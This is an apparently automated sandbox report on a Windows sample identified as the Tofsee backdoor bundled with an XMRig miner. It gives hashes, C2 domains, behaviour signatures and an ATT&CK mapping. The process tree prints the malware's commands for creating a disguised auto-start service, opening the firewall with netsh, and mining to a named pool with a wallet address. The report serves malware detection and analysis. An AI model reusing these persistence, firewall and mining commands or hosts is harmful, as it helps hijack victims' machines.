Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20220718-en
  • resource tags

    arch:x64arch:x86image:win10-20220718-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09-08-2022 02:02

General

  • Target

    b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf.exe

  • Size

    244KB

  • MD5

    94b4af3871ea66ef0b1c5920ec7f327c

  • SHA1

    226579b29b51dada1b99b1cc0b298bd447963d6e

  • SHA256

    b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf

  • SHA512

    5d9b909354e64811894dd19f45ea5354ec862374d68075430dc024c15d112ee57e9ed6c602bb67ca0171eaf4a7865f25c28c57f7987796f3cf80b67d47dbc3dc

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf.exe
    "C:\Users\Admin\AppData\Local\Temp\b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ebkokzex\
      2⤵
        PID:1924
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vctklods.exe" C:\Windows\SysWOW64\ebkokzex\
        2⤵
          PID:4540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ebkokzex binPath= "C:\Windows\SysWOW64\ebkokzex\vctklods.exe /d\"C:\Users\Admin\AppData\Local\Temp\b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ebkokzex "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ebkokzex
          2⤵
          • Launches sc.exe
          PID:972
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4232
      • C:\Windows\SysWOW64\ebkokzex\vctklods.exe
        C:\Windows\SysWOW64\ebkokzex\vctklods.exe /d"C:\Users\Admin\AppData\Local\Temp\b6fbffbe379b8f8e7691790a96eca98200a72a2fb4ebfaec1405535e76ed4ebf.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2656

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vctklods.exe
        Filesize

        13.1MB

        MD5

        a47e9e0e0b281d96910580913597edd1

        SHA1

        eec0df9a6b1c5e93db62a2c8c1a228d17b85d403

        SHA256

        c6d34c972661a93e4eb28254d5ab66082a45231a8023ec3d77b93b26f057a8fd

        SHA512

        31b81f77fef4f700908c1aa739db8aa654a2aecbeaa9278e88dc4f22100de025e58747aa54aefc35b1d1872820c156acf6b651324b267ff0deacd8dc05804df5

      • C:\Windows\SysWOW64\ebkokzex\vctklods.exe
        Filesize

        13.1MB

        MD5

        a47e9e0e0b281d96910580913597edd1

        SHA1

        eec0df9a6b1c5e93db62a2c8c1a228d17b85d403

        SHA256

        c6d34c972661a93e4eb28254d5ab66082a45231a8023ec3d77b93b26f057a8fd

        SHA512

        31b81f77fef4f700908c1aa739db8aa654a2aecbeaa9278e88dc4f22100de025e58747aa54aefc35b1d1872820c156acf6b651324b267ff0deacd8dc05804df5

      • memory/972-196-0x0000000000000000-mapping.dmp
      • memory/1924-167-0x0000000000000000-mapping.dmp
      • memory/1924-176-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/1924-171-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/1924-170-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/1924-169-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/1924-168-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-160-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-154-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-128-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-129-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-130-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-131-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-132-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-133-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-134-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-135-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-136-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-137-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-138-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-140-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-141-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-163-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-143-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-144-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-145-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-146-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-147-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-149-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-148-0x00000000025B0000-0x00000000026FA000-memory.dmp
        Filesize

        1.3MB

      • memory/2096-151-0x00000000025B0000-0x00000000026FA000-memory.dmp
        Filesize

        1.3MB

      • memory/2096-152-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-150-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-153-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-120-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-155-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-156-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-157-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-158-0x0000000000400000-0x00000000024C3000-memory.dmp
        Filesize

        32.8MB

      • memory/2096-159-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-117-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-161-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-162-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-142-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-127-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-119-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-166-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-126-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-125-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-124-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-123-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-122-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-164-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-222-0x0000000000400000-0x00000000024C3000-memory.dmp
        Filesize

        32.8MB

      • memory/2096-118-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-121-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2096-165-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2456-188-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/2456-185-0x0000000000000000-mapping.dmp
      • memory/2656-510-0x000000000329259C-mapping.dmp
      • memory/3616-373-0x0000000002970000-0x0000000002985000-memory.dmp
        Filesize

        84KB

      • memory/3616-291-0x0000000002979A6B-mapping.dmp
      • memory/3616-484-0x0000000002970000-0x0000000002985000-memory.dmp
        Filesize

        84KB

      • memory/4232-213-0x0000000000000000-mapping.dmp
      • memory/4540-175-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4540-177-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4540-183-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4540-172-0x0000000000000000-mapping.dmp
      • memory/4540-173-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4540-174-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-179-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-182-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-189-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-180-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-178-0x0000000000000000-mapping.dmp
      • memory/4696-187-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-186-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-181-0x00000000774A0000-0x000000007762E000-memory.dmp
        Filesize

        1.6MB

      • memory/4732-290-0x0000000002786000-0x0000000002796000-memory.dmp
        Filesize

        64KB

      • memory/4732-294-0x0000000002700000-0x0000000002713000-memory.dmp
        Filesize

        76KB

      • memory/4732-306-0x0000000000400000-0x00000000024C3000-memory.dmp
        Filesize

        32.8MB

      • memory/4732-483-0x0000000000400000-0x00000000024C3000-memory.dmp
        Filesize

        32.8MB